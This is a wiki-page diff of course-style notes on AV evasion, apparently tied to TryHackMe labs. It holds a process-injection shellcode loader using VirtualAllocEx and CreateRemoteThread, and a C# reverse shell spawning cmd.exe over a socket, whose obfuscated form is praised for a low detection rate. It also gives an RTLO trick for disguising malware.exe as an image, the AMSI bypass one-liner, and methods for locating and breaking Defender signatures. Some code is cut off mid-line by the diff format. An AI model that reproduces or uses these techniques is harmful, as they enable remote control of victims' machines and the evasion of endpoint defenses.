HANDLE processHandle; | HANDLE processHandle; | ||
HANDLE remoteThread; | HANDLE remoteThread; | ||
PVOID remoteBuffer; | PVOID remoteBuffer; | ||
string leaked = "This was leaked in the strings"; | string leaked = "This was leaked in the strings"; | ||
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1]))); | processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1]))); | ||
cout << "Handle obtained for" << processHandle; | cout << "Handle obtained for" << processHandle; | ||
| Line 3,695: | Line 2,831: | ||
cout << "Closing handle" << processHandle; | cout << "Closing handle" << processHandle; | ||
cout << leaked; | cout << leaked; | ||
return 0; | return 0; | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
<syntaxhighlight lang="c"> | <syntaxhighlight lang="c"> | ||
// Remove comments and replace the meaningful identifiers to resolve this problem. | // Remove comments and replace the meaningful identifiers to resolve this problem. | ||
#include "windows.h" | #include "windows.h" | ||
int main(int argc, char* argv[]) | int main(int argc, char* argv[]) | ||
{ | { | ||
unsigned char awoler[] = ""; | unsigned char awoler[] = ""; | ||
HANDLE awerfu; | HANDLE awerfu; | ||
HANDLE rwfhbf; | HANDLE rwfhbf; | ||
PVOID iauwef; | PVOID iauwef; | ||
awerfu = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1]))); | awerfu = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1]))); | ||
iauwef = VirtualAllocEx(awerfu, NULL, sizeof awoler, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); | iauwef = VirtualAllocEx(awerfu, NULL, sizeof awoler, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); | ||
| Line 3,719: | Line 2,849: | ||
rwfhbf = CreateRemoteThread(awerfu, NULL, 0, (LPTHREAD_START_ROUTINE)iauwef, NULL, 0, NULL); | rwfhbf = CreateRemoteThread(awerfu, NULL, 0, (LPTHREAD_START_ROUTINE)iauwef, NULL, 0, NULL); | ||
CloseHandle(awerfu); | CloseHandle(awerfu); | ||
return 0; | return 0; | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Code Structure === | === Code Structure === | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 3,736: | Line 2,863: | ||
int a = 10; | int a = 10; | ||
int b = 20; | int b = 20; | ||
int sum = a + b; | int sum = a + b; | ||
Console.WriteLine("Sum: " + sum); | Console.WriteLine("Sum: " + sum); | ||
} | } | ||
} | } | ||
// Obfuscated code with code structure obfuscation | // Obfuscated code with code structure obfuscation | ||
public class ObfuscatedClass | public class ObfuscatedClass | ||
| Line 3,749: | Line 2,874: | ||
int _0x4 = 10; | int _0x4 = 10; | ||
int _0x8 = 20; | int _0x8 = 20; | ||
int _0xc = _0x4 + _0x8; | int _0xc = _0x4 + _0x8; | ||
Console.WriteLine(_0xc.ToString().Replace("0", "")); | Console.WriteLine(_0xc.ToString().Replace("0", "")); | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
In this example, we have an original class <code>OriginalClass</code> with a method <code>OriginalMethod()</code> that performs a simple addition of two integers and prints the sum. The obfuscated class <code>ObfuscatedClass</code> is an altered version of the original class where the code structure has been obfuscated. | In this example, we have an original class <code>OriginalClass</code> with a method <code>OriginalMethod()</code> that performs a simple addition of two integers and prints the sum. The obfuscated class <code>ObfuscatedClass</code> is an altered version of the original class where the code structure has been obfuscated. | ||
=== File & Compilation Properties === | === File & Compilation Properties === | ||
To remove symbols from a compiler like '''Visual Studio''', we need to change the compilation target from <code>Debug</code> to <code>Release</code> or use a lighter-weight compiler like '''mingw.''' | To remove symbols from a compiler like '''Visual Studio''', we need to change the compilation target from <code>Debug</code> to <code>Release</code> or use a lighter-weight compiler like '''mingw.''' | ||
If we need to remove symbols from a pre-compiled image, we can use the command-line utility: <code>'''strip'''</code>. | If we need to remove symbols from a pre-compiled image, we can use the command-line utility: <code>'''strip'''</code>. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# Check symbols | # Check symbols | ||
nm file.exe | nm file.exe | ||
# Strip file of symbols | # Strip file of symbols | ||
strip --strip-all cmdshell.exe | strip --strip-all cmdshell.exe | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Obfuscation Methods with examples == | == Obfuscation Methods with examples == | ||
=== Renaming identifiers === | === Renaming identifiers === | ||
To make them unreadable. The obfuscator alters the methods and names of variables. The new names may include unprintable or invisible characters1. For example, a variable named password can be renamed to p@$$w0rd or 💩. | To make them unreadable. The obfuscator alters the methods and names of variables. The new names may include unprintable or invisible characters1. For example, a variable named password can be renamed to p@$$w0rd or 💩. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 3,795: | Line 2,908: | ||
using System.Text; | using System.Text; | ||
using System.Threading.Tasks; | using System.Threading.Tasks; | ||
namespace RenamingIdentifiersExample | namespace RenamingIdentifiersExample | ||
{ | { | ||
| Line 3,807: | Line 2,919: | ||
Console.WriteLine(result); | Console.WriteLine(result); | ||
} | } | ||
static int Add(int x, int y) | static int Add(int x, int y) | ||
{ | { | ||
| Line 3,815: | Line 2,926: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 3,826: | Line 2,935: | ||
using System.Text; | using System.Text; | ||
using System.Threading.Tasks; | using System.Threading.Tasks; | ||
namespace AAAAAAA | namespace AAAAAAA | ||
{ | { | ||
| Line 3,838: | Line 2,946: | ||
Console.WriteLine(result); | Console.WriteLine(result); | ||
} | } | ||
static int DDDDDD(int x, int y) | static int DDDDDD(int x, int y) | ||
{ | { | ||
| Line 3,846: | Line 2,953: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Packing compresses === | === Packing compresses === | ||
The entire program to make the code unreadable: This reduces the size of the executable file and makes it harder to analyze1. For example, a program that prints “Hello World” can be packed into a single line of code that looks like gibberish. | The entire program to make the code unreadable: This reduces the size of the executable file and makes it harder to analyze1. For example, a program that prints “Hello World” can be packed into a single line of code that looks like gibberish. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
// To pack your code, you can use a tool like UPX (https://upx.github.io/). | // To pack your code, you can use a tool like UPX (https://upx.github.io/). | ||
// Here's an example command to pack a C# executable: | // Here's an example command to pack a C# executable: | ||
// upx myprogram.exe | // upx myprogram.exe | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Control flow obfuscation === | === Control flow obfuscation === | ||
Alters the structure of the code: This changes the order and logic of the instructions without affecting their functionality1. For example, a simple loop can be replaced with a complex switch statement or a recursive function. | Alters the structure of the code: This changes the order and logic of the instructions without affecting their functionality1. For example, a simple loop can be replaced with a complex switch statement or a recursive function. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 3,878: | Line 2,976: | ||
using System.Text; | using System.Text; | ||
using System.Threading.Tasks; | using System.Threading.Tasks; | ||
namespace ControlFlowObfuscationExample | namespace ControlFlowObfuscationExample | ||
{ | { | ||
| Line 3,890: | Line 2,987: | ||
Console.WriteLine(result); | Console.WriteLine(result); | ||
} | } | ||
static int Add(int x, int y) | static int Add(int x, int y) | ||
{ | { | ||
| Line 3,902: | Line 2,998: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 3,913: | Line 3,007: | ||
using System.Text; | using System.Text; | ||
using System.Threading.Tasks; | using System.Threading.Tasks; | ||
namespace ControlFlowObfuscationExample | namespace ControlFlowObfuscationExample | ||
{ | { | ||
| Line 3,925: | Line 3,018: | ||
Console.WriteLine(result); | Console.WriteLine(result); | ||
} | } | ||
static int Add(int x, int y) | static int Add(int x, int y) | ||
{ | { | ||
| Line 3,939: | Line 3,031: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Instruction pattern transformation === | === Instruction pattern transformation === | ||
Changes the way instructions are executed. This modifies the low-level representation of the code to make it more obscure1. For example, an arithmetic operation can be replaced with bitwise operations or function calls. | Changes the way instructions are executed. This modifies the low-level representation of the code to make it more obscure1. For example, an arithmetic operation can be replaced with bitwise operations or function calls. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
// This technique is typically implemented using a tool like LLVM Obfuscator (https://github.com/obfuscator-llvm/obfuscator). | // This technique is typically implemented using a tool like LLVM Obfuscator (https://github.com/obfuscator-llvm/obfuscator). | ||
// Here's an example command to obfuscate a C# program using LLVM Obfuscator: | // Here's an example command to obfuscate a C# program using LLVM Obfuscator: | ||
// obfuscator-llvm myprogram.exe | // obfuscator-llvm myprogram.exe | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Dummy code insertion === | === Dummy code insertion === | ||
Adds irrelevant code to confuse decompilers. This inserts extra statements that do not affect the output but make the code longer and more complicated1. For example, a random number generator can be added before every conditional statement or a useless variable can be declared and assigned. | Adds irrelevant code to confuse decompilers. This inserts extra statements that do not affect the output but make the code longer and more complicated1. For example, a random number generator can be added before every conditional statement or a useless variable can be declared and assigned. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 3,970: | Line 3,053: | ||
using System.Text; | using System.Text; | ||
using System.Threading.Tasks; | using System.Threading.Tasks; | ||
namespace DummyCodeInsertionExample | namespace DummyCodeInsertionExample | ||
{ | { | ||
| Line 3,982: | Line 3,064: | ||
Console.WriteLine(result); | Console.WriteLine(result); | ||
} | } | ||
static int Add(int x, int y) | static int Add(int x, int y) | ||
{ | { | ||
| Line 3,992: | Line 3,073: | ||
return z; | return z; | ||
} | } | ||
// Dummy code inserted to confuse decompilers | // Dummy code inserted to confuse decompilers | ||
static void Dummy1() | static void Dummy1() | ||
| Line 4,023: | Line 3,103: | ||
int z = 26; | int z = 26; | ||
} | } | ||
// Dummy code inserted to confuse decompilers | // Dummy code inserted to confuse decompilers | ||
static void Dummy2() | static void Dummy2() | ||
| Line 4,043: | Line 3,122: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Metadata or unused code removal === | === Metadata or unused code removal === | ||
Eliminates unnecessary information from the code: This removes comments, debug symbols, attributes, annotations and other data that are not essential for execution1. For example, a class name can be stripped from its metadata or an unused method can be deleted. | Eliminates unnecessary information from the code: This removes comments, debug symbols, attributes, annotations and other data that are not essential for execution1. For example, a class name can be stripped from its metadata or an unused method can be deleted. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
// You can use a tool like ConfuserEX (https://github.com/yck1509/ConfuserEx) to remove metadata and unused code from a C# program. | // You can use a tool like ConfuserEX (https://github.com/yck1509/ConfuserEx) to remove metadata and unused code from a C# program. | ||
// Here's an example command to obfuscate and remove metadata and unused code from a C# program using ConfuserEX: | // Here's an example command to obfuscate and remove metadata and unused code from a C# program using ConfuserEX: | ||
// Confuser.CLI.exe myprogram.exe -o obfuscated.exe -p mode=maximum | // Confuser.CLI.exe myprogram.exe -o obfuscated.exe -p mode=maximum | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Opaque predicate insertion === | === Opaque predicate insertion === | ||
Adds conditional statements that always evaluate to true or false but are hard to analyze. This creates branches in the code that are never taken but look plausible1. For example, an if statement can check if a prime number is divisible by two or if a string is equal to itself reversed. | Adds conditional statements that always evaluate to true or false but are hard to analyze. This creates branches in the code that are never taken but look plausible1. For example, an if statement can check if a prime number is divisible by two or if a string is equal to itself reversed. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 4,074: | Line 3,144: | ||
using System.Text; | using System.Text; | ||
using System.Threading.Tasks; | using System.Threading.Tasks; | ||
namespace OpaquePredicateInsertionExample | namespace OpaquePredicateInsertionExample | ||
{ | { | ||
| Line 4,086: | Line 3,155: | ||
Console.WriteLine(result); | Console.WriteLine(result); | ||
} | } | ||
static int Add(int x, int y) | static int Add(int x, int y) | ||
{ | { | ||
| Line 4,100: | Line 3,168: | ||
return z; | return z; | ||
} | } | ||
// Opaque predicate inserted to confuse decompilers | // Opaque predicate inserted to confuse decompilers | ||
static void OpaquePredicate() | static void OpaquePredicate() | ||
| Line 4,137: | Line 3,204: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Anti-Debug === | === Anti-Debug === | ||
Prevents debugging tools from attaching to the process. This detects and disables any attempts to debug or trace the program1. For example, an exception handler can terminate the process if a debugger is detected or a checksum can verify if any bytes have been modified. | Prevents debugging tools from attaching to the process. This detects and disables any attempts to debug or trace the program1. For example, an exception handler can terminate the process if a debugger is detected or a checksum can verify if any bytes have been modified. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
using System; | using System; | ||
| Line 4,153: | Line 3,216: | ||
using System.Text; | using System.Text; | ||
using System.Threading.Tasks; | using System.Threading.Tasks; | ||
namespace AntiDebuggingExample | namespace AntiDebuggingExample | ||
{ | { | ||
| Line 4,170: | Line 3,232: | ||
Console.WriteLine(result); | Console.WriteLine(result); | ||
} | } | ||
static int Add(int x, int y) | static int Add(int x, int y) | ||
{ | { | ||
| Line 4,180: | Line 3,241: | ||
return z; | return z; | ||
} | } | ||
// Check if a debugger is attached to the process | // Check if a debugger is attached to the process | ||
static bool IsDebuggerAttached() | static bool IsDebuggerAttached() | ||
| Line 4,197: | Line 3,257: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Encryption === | === Encryption === | ||
This transforms data into another form using a secret key that only authorized parties know. For example, a credit card number can be encrypted with AES algorithm and stored as ciphertext2. | This transforms data into another form using a secret key that only authorized parties know. For example, a credit card number can be encrypted with AES algorithm and stored as ciphertext2. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 4,213: | Line 3,269: | ||
using System.Text; | using System.Text; | ||
using System.Threading.Tasks; | using System.Threading.Tasks; | ||
namespace StringEncryptionExample | namespace StringEncryptionExample | ||
{ | { | ||
| Line 4,223: | Line 3,278: | ||
Console.WriteLine(secretMessage); | Console.WriteLine(secretMessage); | ||
} | } | ||
static string Decrypt(string encryptedMessage) | static string Decrypt(string encryptedMessage) | ||
{ | { | ||
| Line 4,235: | Line 3,289: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Tokenization === | === Tokenization === | ||
This replaces data with random tokens that have no meaning by themselves but can be mapped back to their original values using a secure database. For example, an email address can be tokenized with UUIDs and stored as 123e4567-e89b-12d3-a456-4266141740002. Data masking: This replaces data with fake data that is identical in structure and data type. For example, a phone number 212-648-3399 can be replaced with another valid but fake phone number such as 567-499-37883. | This replaces data with random tokens that have no meaning by themselves but can be mapped back to their original values using a secure database. For example, an email address can be tokenized with UUIDs and stored as 123e4567-e89b-12d3-a456-4266141740002. Data masking: This replaces data with fake data that is identical in structure and data type. For example, a phone number 212-648-3399 can be replaced with another valid but fake phone number such as 567-499-37883. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
using System; | using System; | ||
namespace TokenizationExample | namespace TokenizationExample | ||
{ | { | ||
| Line 4,256: | Line 3,305: | ||
// Declare a variable with a tokenized name | // Declare a variable with a tokenized name | ||
string v_a_r_i_a_b_l_e = "Hello, world!"; | string v_a_r_i_a_b_l_e = "Hello, world!"; | ||
// Print the value of the variable | // Print the value of the variable | ||
Console.WriteLine(v_a_r_i_a_b_l_e); | Console.WriteLine(v_a_r_i_a_b_l_e); | ||
| Line 4,262: | Line 3,310: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Byte shuffle === | === Byte shuffle === | ||
Byte shuffle obfuscation is a technique to make data or code harder to read and understand by changing the order of the bytes that make up the data or code. This can be done to hide information, prevent reversing or protect intellectual property . | Byte shuffle obfuscation is a technique to make data or code harder to read and understand by changing the order of the bytes that make up the data or code. This can be done to hide information, prevent reversing or protect intellectual property . | ||
For example, if you have a text string like “Hello world”, you can represent it as a sequence of bytes in hexadecimal format: 48 65 6C 6C 6F 20 77 6F 72 6C 64. If you want to obfuscate this text by using byte shuffle obfuscation, you can swap some of the bytes randomly, for example: 20 64 48 65 6F 72 77 6C 6C 6F. If you try to read the new sequence as text, you get something like " dHeorwllo", which does not make sense. | For example, if you have a text string like “Hello world”, you can represent it as a sequence of bytes in hexadecimal format: 48 65 6C 6C 6F 20 77 6F 72 6C 64. If you want to obfuscate this text by using byte shuffle obfuscation, you can swap some of the bytes randomly, for example: 20 64 48 65 6F 72 77 6C 6C 6F. If you try to read the new sequence as text, you get something like " dHeorwllo", which does not make sense. | ||
For byte shuffle obfuscation to work, there must be a way to restore the original order of the bytes when the data or code needs to be used. This can be done by using a key that indicates how the bytes were shuffled, or by using an algorithm that can reverse the process. Otherwise, the data or code will become unusable. | For byte shuffle obfuscation to work, there must be a way to restore the original order of the bytes when the data or code needs to be used. This can be done by using a key that indicates how the bytes were shuffled, or by using an algorithm that can reverse the process. Otherwise, the data or code will become unusable. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 4,284: | Line 3,326: | ||
using System.Text; | using System.Text; | ||
using System.Threading.Tasks; | using System.Threading.Tasks; | ||
namespace ByteShuffleObfuscationExample | namespace ByteShuffleObfuscationExample | ||
{ | { | ||
| Line 4,295: | Line 3,336: | ||
Console.WriteLine(message); | Console.WriteLine(message); | ||
} | } | ||
static byte[] Shuffle(byte | static byte[] Shuffle(byte | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Example reverse shell using C# - Encryption and Byte shuffle === | === Example reverse shell using C# - Encryption and Byte shuffle === | ||
The obfuscated code have low detection rate. | The obfuscated code have low detection rate. | ||
[[File:2023-03-image.png|thumb]] | [[File:2023-03-image.png|thumb]] | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 4,320: | Line 3,355: | ||
using System.Net; | using System.Net; | ||
using System.Net.Sockets; | using System.Net.Sockets; | ||
namespace ConnectBack | namespace ConnectBack | ||
| Line 4,327: | Line 3,361: | ||
{ | { | ||
static StreamWriter streamWriter; | static StreamWriter streamWriter; | ||
public static void Main(string[] args) | public static void Main(string[] args) | ||
{ | { | ||
| Line 4,337: | Line 3,370: | ||
{ | { | ||
streamWriter = new StreamWriter(stream); | streamWriter = new StreamWriter(stream); | ||
StringBuilder strInput = new StringBuilder(); | StringBuilder strInput = new StringBuilder(); | ||
Process p = new Process(); | Process p = new Process(); | ||
p.StartInfo.FileName = "cmd.exe"; | p.StartInfo.FileName = "cmd.exe"; | ||
| Line 4,350: | Line 3,381: | ||
p.Start(); | p.Start(); | ||
p.BeginOutputReadLine(); | p.BeginOutputReadLine(); | ||
while (true) | while (true) | ||
{ | { | ||
| Line 4,362: | Line 3,392: | ||
} | } | ||
} | } | ||
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine) | private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine) | ||
{ | { | ||
StringBuilder strOutput = new StringBuilder(); | StringBuilder strOutput = new StringBuilder(); | ||
if (!String.IsNullOrEmpty(outLine.Data)) | if (!String.IsNullOrEmpty(outLine.Data)) | ||
{ | { | ||
| Line 4,378: | Line 3,406: | ||
} | } | ||
} | } | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 4,393: | Line 3,419: | ||
using System.Security.Cryptography; | using System.Security.Cryptography; | ||
using System.Text; | using System.Text; | ||
namespace ConnectionBack | namespace ConnectionBack | ||
{ | { | ||
| Line 4,399: | Line 3,424: | ||
{ | { | ||
static StreamWriter streamWriter; | static StreamWriter streamWriter; | ||
public static void Main(string[] args) | public static void Main(string[] args) | ||
{ | { | ||
| Line 4,412: | Line 3,436: | ||
// Create a stream writer to write data to the stream | // Create a stream writer to write data to the stream | ||
streamWriter = new StreamWriter(stream); | streamWriter = new StreamWriter(stream); | ||
// Create a new process object | // Create a new process object | ||
Process process = new Process(); | Process process = new Process(); | ||
| Line 4,425: | Line 3,448: | ||
process.StartInfo.RedirectStandardInput = true; | process.StartInfo.RedirectStandardInput = true; | ||
process.StartInfo.RedirectStandardError = true; | process.StartInfo.RedirectStandardError = true; | ||
// Add an event handler for when data is received on standard output | // Add an event handler for when data is received on standard output | ||
// This will send the output back to the remote host via stream writer | // This will send the output back to the remote host via stream writer | ||
process.OutputDataReceived += new DataReceivedEventHandler(CommandOutputDataHandler); | process.OutputDataReceived += new DataReceivedEventHandler(CommandOutputDataHandler); | ||
// Start the process | // Start the process | ||
process.Start(); | process.Start(); | ||
// Begin reading asynchronously from standard output | // Begin reading asynchronously from standard output | ||
process.BeginOutputReadLine(); | process.BeginOutputReadLine(); | ||
// Loop forever | // Loop forever | ||
while (true) | while (true) | ||
| Line 4,449: | Line 3,468: | ||
} | } | ||
} | } | ||
private static void CommandOutputDataHandler(object sendingProcess, DataReceivedEventArgs outputLine) | private static void CommandOutputDataHandler(object sendingProcess, DataReceivedEventArgs outputLine) | ||
{ | { | ||
// Create a string builder to store output | // Create a string builder to store output | ||
StringBuilder output = new StringBuilder(); | StringBuilder output = new StringBuilder(); | ||
// If there is some data received on standard output | // If there is some data received on standard output | ||
if (!String.IsNullOrEmpty(outputLine.Data)) | if (!String.IsNullOrEmpty(outputLine.Data)) | ||
| Line 4,468: | Line 3,485: | ||
catch (Exception) { } | catch (Exception) { } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Filename Obfuscation: RIGHT-TO-LEFT OVERRIDE Trick == | == Filename Obfuscation: RIGHT-TO-LEFT OVERRIDE Trick == | ||
https://twitter.com/DarkCoderSc/status/1686750813996097536?ref_src=twsrc%5Etfw | https://twitter.com/DarkCoderSc/status/1686750813996097536?ref_src=twsrc%5Etfw | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
rename-item -path malware.exe -newname ("Ann" + ([char]0x202E) + "gepj.exe) | rename-item -path malware.exe -newname ("Ann" + ([char]0x202E) + "gepj.exe) | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[[File:2023-08-image.png|thumb]] | [[File:2023-08-image.png|thumb]] | ||
---- | ---- | ||
= Signature Evasion = | = Signature Evasion = | ||
== Signature Identification == | == Signature Identification == | ||
When identifying signatures, whether manually or automated, we must employ an iterative process to determine what byte a signature starts at. By recursively splitting a compiled binary in half and testing it, we can get a rough estimate of a byte-range to investigate further. | When identifying signatures, whether manually or automated, we must employ an iterative process to determine what byte a signature starts at. By recursively splitting a compiled binary in half and testing it, we can get a rough estimate of a byte-range to investigate further. | ||
We can use the native utilities <code>head</code>, <code>dd</code>, or <code>split</code> to split a compiled binary. | We can use the native utilities <code>head</code>, <code>dd</code>, or <code>split</code> to split a compiled binary. | ||
[[File:2023-06-image-3.png|thumb]] | [[File:2023-06-image-3.png|thumb]] | ||
=== Automatic Signature Identification === | === Automatic Signature Identification === | ||
==== DefenderCheck ==== | ==== DefenderCheck ==== | ||
[https://github.com/matterpreter/DefenderCheck GitHub - matterpreter/DefenderCheck: Identifies the bytes that Microsoft Defender flags on.] | [https://github.com/matterpreter/DefenderCheck GitHub - matterpreter/DefenderCheck: Identifies the bytes that Microsoft Defender flags on.] | ||
[[File:2023-06-demo.gif|thumb]] | [[File:2023-06-demo.gif|thumb]] | ||
==== Find-AVSignature.ps1 ==== | ==== Find-AVSignature.ps1 ==== | ||
[https://github.com/PowerShellMafia/PowerSploit/blob/master/AntivirusBypass/Find-AVSignature.ps1 PowerSploit/Find-AVSignature.ps1 at master · PowerShellMafia/PowerSploit · GitHub] | [https://github.com/PowerShellMafia/PowerSploit/blob/master/AntivirusBypass/Find-AVSignature.ps1 PowerSploit/Find-AVSignature.ps1 at master · PowerShellMafia/PowerSploit · GitHub] | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
PS C:\> . .\FInd-AVSignature.ps1 | PS C:\> . .\FInd-AVSignature.ps1 | ||
PS C:\> Find-AVSignature | PS C:\> Find-AVSignature | ||
cmdlet Find-AVSignature at command pipeline position 1 | cmdlet Find-AVSignature at command pipeline position 1 | ||
Supply values for the following parameters: | Supply values for the following parameters: | ||
| Line 4,529: | Line 3,528: | ||
EndByte: max | EndByte: max | ||
Interval: 1000 | Interval: 1000 | ||
Do you want to continue? | Do you want to continue? | ||
This script will result in 1 binaries being written to "C:\Users\TryHackMe"! | This script will result in 1 binaries being written to "C:\Users\TryHackMe"! | ||
[Y] Yes [N] No [S] Suspend [?] Help (default is "Y"): y | [Y] Yes [N] No [S] Suspend [?] Help (default is "Y"): y | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== ThreatCheck ==== | ==== ThreatCheck ==== | ||
ThreatCheck is a fork of DefenderCheck and is arguably the most widely used/reliable. | ThreatCheck is a fork of DefenderCheck and is arguably the most widely used/reliable. | ||
[https://github.com/rasta-mouse/ThreatCheck GitHub - rasta-mouse/ThreatCheck: Identifies the bytes that Microsoft Defender / AMSI Consumer flags on.] | [https://github.com/rasta-mouse/ThreatCheck GitHub - rasta-mouse/ThreatCheck: Identifies the bytes that Microsoft Defender / AMSI Consumer flags on.] | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 4,567: | Line 3,561: | ||
000000F0 00 73 00 61 00 67 00 65 00 22 00 3A 00 22 00 7B ·s·a·g·e·"·:·"·{ | 000000F0 00 73 00 61 00 67 00 65 00 22 00 3A 00 22 00 7B ·s·a·g·e·"·:·"·{ | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== AmsiTrigger ==== | ==== AmsiTrigger ==== | ||
[https://github.com/RythmStick/AMSITrigger GitHub - RythmStick/AMSITrigger: The Hunt for Malicious Strings] | [https://github.com/RythmStick/AMSITrigger GitHub - RythmStick/AMSITrigger: The Hunt for Malicious Strings] | ||
AMSI leverages the runtime, making signatures harder to identify and resolve. ThreatCheck does not support certain file types such as PowerShell that AMSITrigger does. | AMSI leverages the runtime, making signatures harder to identify and resolve. ThreatCheck does not support certain file types such as PowerShell that AMSITrigger does. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
PS C:\> .\amsitrigger.exe -i bypass.ps1 -f 3 | PS C:\> .\amsitrigger.exe -i bypass.ps1 -f 3 | ||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) | [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Static Code-Based Signatures == | == Static Code-Based Signatures == | ||
Once we have identified a troublesome signature we need to decide how we want to deal with it. | Once we have identified a troublesome signature we need to decide how we want to deal with it. | ||
'''Obfuscating methods''' | '''Obfuscating methods''' | ||
{| class="wikitable" | {| class="wikitable" | ||
| Line 4,608: | Line 3,593: | ||
| Create replicas of a method and randomly call each | | Create replicas of a method and randomly call each | ||
|} | |} | ||
'''Obfuscating Classes''' | '''Obfuscating Classes''' | ||
{| class="wikitable" | {| class="wikitable" | ||
| Line 4,627: | Line 3,610: | ||
| Remove class modifiers (public, private) and make all members public | | Remove class modifiers (public, private) and make all members public | ||
|} | |} | ||
=== Splitting and Merging Objects === | === Splitting and Merging Objects === | ||
The premise behind this concept is looking to create a new object function that can break the signature while maintaining the previous functionality. | The premise behind this concept is looking to create a new object function that can break the signature while maintaining the previous functionality. | ||
[https://offensivedefence.co.uk/posts/covenant-profiles-templates/ Using Custom Covenant Listener Profiles & Grunt Templates to Elude AV - Offensive Defence] | [https://offensivedefence.co.uk/posts/covenant-profiles-templates/ Using Custom Covenant Listener Profiles & Grunt Templates to Elude AV - Offensive Defence] | ||
'''Original String''' | '''Original String''' | ||
Below is the original string that is detected | Below is the original string that is detected | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2},""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}"; | string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2},""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}"; | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''Obfuscated Method''' | '''Obfuscated Method''' | ||
Below is the new class used to replace and concatenate the string. | Below is the new class used to replace and concatenate the string. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 4,669: | Line 3,643: | ||
} | } | ||
} | } | ||
string MessageFormat = GetMessageFormat | string MessageFormat = GetMessageFormat | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Removing and Obscuring Identifiable Information === | === Removing and Obscuring Identifiable Information === | ||
The process of removing or obscuring identifiable information to protect privacy and maintain anonymity. | The process of removing or obscuring identifiable information to protect privacy and maintain anonymity. | ||
In the task below AmsiTrigger detected that "AmsiScanBuffer" is triggered. So we have to obfuscate it. | In the task below AmsiTrigger detected that "AmsiScanBuffer" is triggered. So we have to obfuscate it. | ||
'''Original''' | '''Original''' | ||
